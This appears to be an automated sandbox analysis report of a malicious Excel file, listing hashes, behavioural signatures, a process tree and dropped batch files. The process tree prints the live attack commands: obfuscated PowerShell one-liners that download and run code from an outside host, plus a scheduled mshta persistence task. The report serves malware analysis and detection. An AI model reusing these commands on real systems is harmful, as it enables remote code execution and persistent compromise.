Analysis
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max time kernel
142s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2022 07:45
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls
Resource
win10v2004-20220812-en
General
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Target
SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls
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Size
33KB
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MD5
6dabe76f9fa957dfcb2d947ad28178f4
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SHA1
0c1b88561dd995109283fd14233e2c01ddb2800d
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SHA256
946f97092e475631921bb51d3f7c964ceab14537246ad5b91f4b4d8d6fee8410
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SHA512
263c9897174c1eb154e0ac49438f50a81bbb66186777f7a7c3711d93942fb80cd3b51bbef489ba56b74b090d475c98b79e02ba3b7925102be3810acb207e7685
Malware Config
Signatures
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Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.execmd.execmd.execmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 460 4752 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1968 4752 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4776 4752 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4748 4752 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 15 3284 powershell.exe 49 800 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4180 taskkill.exe -
Runs ping.exe 1 TTPs 4 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEpid process 1184 PING.EXE 4716 PING.EXE 1568 PING.EXE 2120 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4752 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3284 powershell.exe 3284 powershell.exe 800 powershell.exe 800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
taskkill.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4180 taskkill.exe Token: SeDebugPrivilege 3284 powershell.exe Token: SeDebugPrivilege 800 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE 4752 EXCEL.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
EXCEL.EXEcmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 4752 wrote to memory of 460 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 460 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 1968 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 1968 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 4776 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 4776 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 4748 4752 EXCEL.EXE cmd.exe PID 4752 wrote to memory of 4748 4752 EXCEL.EXE cmd.exe PID 1968 wrote to memory of 1568 1968 cmd.exe PING.EXE PID 1968 wrote to memory of 1568 1968 cmd.exe PING.EXE PID 4776 wrote to memory of 4716 4776 cmd.exe PING.EXE PID 4776 wrote to memory of 4716 4776 cmd.exe PING.EXE PID 460 wrote to memory of 1184 460 cmd.exe PING.EXE PID 460 wrote to memory of 1184 460 cmd.exe PING.EXE PID 4748 wrote to memory of 2120 4748 cmd.exe PING.EXE PID 4748 wrote to memory of 2120 4748 cmd.exe PING.EXE PID 4776 wrote to memory of 3384 4776 cmd.exe cmd.exe PID 4776 wrote to memory of 3384 4776 cmd.exe cmd.exe PID 3384 wrote to memory of 3284 3384 cmd.exe powershell.exe PID 3384 wrote to memory of 3284 3384 cmd.exe powershell.exe PID 4776 wrote to memory of 5064 4776 cmd.exe cmd.exe PID 4776 wrote to memory of 5064 4776 cmd.exe cmd.exe PID 5064 wrote to memory of 4180 5064 cmd.exe taskkill.exe PID 5064 wrote to memory of 4180 5064 cmd.exe taskkill.exe PID 460 wrote to memory of 4464 460 cmd.exe cmd.exe PID 460 wrote to memory of 4464 460 cmd.exe cmd.exe PID 4464 wrote to memory of 800 4464 cmd.exe powershell.exe PID 4464 wrote to memory of 800 4464 cmd.exe powershell.exe PID 1968 wrote to memory of 2536 1968 cmd.exe cmd.exe PID 1968 wrote to memory of 2536 1968 cmd.exe cmd.exe PID 2536 wrote to memory of 1540 2536 cmd.exe schtasks.exe PID 2536 wrote to memory of 1540 2536 cmd.exe schtasks.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 80 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 85 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 10 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.execmd /c start /min taskkill /f /im WINWORD.EXE3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /f /im WINWORD.EXE4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 7 127.0.0.13⤵
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD543f4bec966ab901ac034fc136a642fa5
SHA18e7227cefec8b05c9a79b2751d1261187b9c0422
SHA25609ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4
SHA512a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
6KB
MD5b05d90a40cc926585ffbba9d97306804
SHA10f1105a4eb1b735b5fe05b677b03c853ab0c721c
SHA2560326d970c508d74146c0e6c3ca746791a9f06074b791ff92b28c89233ba1001a
SHA512a0ee8a43308b5d8ad308621cad835012d79180aa5b9fcd822349013871d3c3339457f23fd663bd288435ecfff4b24bdc56708c6df98a6f82e62ce4871772d8c5
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C:\Users\Public\DefenderFile.batFilesize
1KB
MD5ae4a0997ce01f4ebbb3f3cc0054ce933
SHA1e5bfe3b390f1208b8b6ea0317f4364005f552851
SHA256a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce
SHA5125de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184
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C:\Users\Public\Outlook.batFilesize
900B
MD50427a3545c2eaed3167cffe2cf5f8aba
SHA1b27f3a7d2b855f1d0b84727603add711bb6f6170
SHA256ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391
SHA512fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b
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C:\Users\Public\task.batFilesize
954B
MD520a395a26f50352dc994664c3e7df533
SHA19b6407d22297b7af7c49aacd51bf42e51ced7029
SHA256c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32
SHA5122b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617
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memory/460-139-0x0000000000000000-mapping.dmp
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memory/800-163-0x00007FFFD42B0000-0x00007FFFD4D71000-memory.dmpFilesize
10.8MB
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memory/800-162-0x00007FFFD42B0000-0x00007FFFD4D71000-memory.dmpFilesize
10.8MB
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memory/800-158-0x0000000000000000-mapping.dmp
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memory/1184-145-0x0000000000000000-mapping.dmp
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memory/1540-166-0x0000000000000000-mapping.dmp
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memory/1568-143-0x0000000000000000-mapping.dmp
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memory/1968-140-0x0000000000000000-mapping.dmp
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memory/2120-146-0x0000000000000000-mapping.dmp
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memory/2536-165-0x0000000000000000-mapping.dmp
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memory/3284-155-0x00007FFFD42B0000-0x00007FFFD4D71000-memory.dmpFilesize
10.8MB
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memory/3284-149-0x0000000000000000-mapping.dmp
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memory/3284-152-0x000002511B910000-0x000002511B932000-memory.dmpFilesize
136KB
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memory/3284-153-0x00007FFFD42B0000-0x00007FFFD4D71000-memory.dmpFilesize
10.8MB
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memory/3284-154-0x00007FFFD42B0000-0x00007FFFD4D71000-memory.dmpFilesize
10.8MB
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memory/3384-148-0x0000000000000000-mapping.dmp
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memory/4180-151-0x0000000000000000-mapping.dmp
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memory/4464-157-0x0000000000000000-mapping.dmp
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memory/4716-144-0x0000000000000000-mapping.dmp
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memory/4748-142-0x0000000000000000-mapping.dmp
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memory/4752-132-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-168-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-170-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-138-0x00007FFFBAAF0000-0x00007FFFBAB00000-memory.dmpFilesize
64KB
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memory/4752-137-0x00007FFFBAAF0000-0x00007FFFBAB00000-memory.dmpFilesize
64KB
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memory/4752-136-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-135-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-134-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-133-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-171-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4752-169-0x00007FFFBCD90000-0x00007FFFBCDA0000-memory.dmpFilesize
64KB
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memory/4776-141-0x0000000000000000-mapping.dmp
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memory/5064-150-0x0000000000000000-mapping.dmp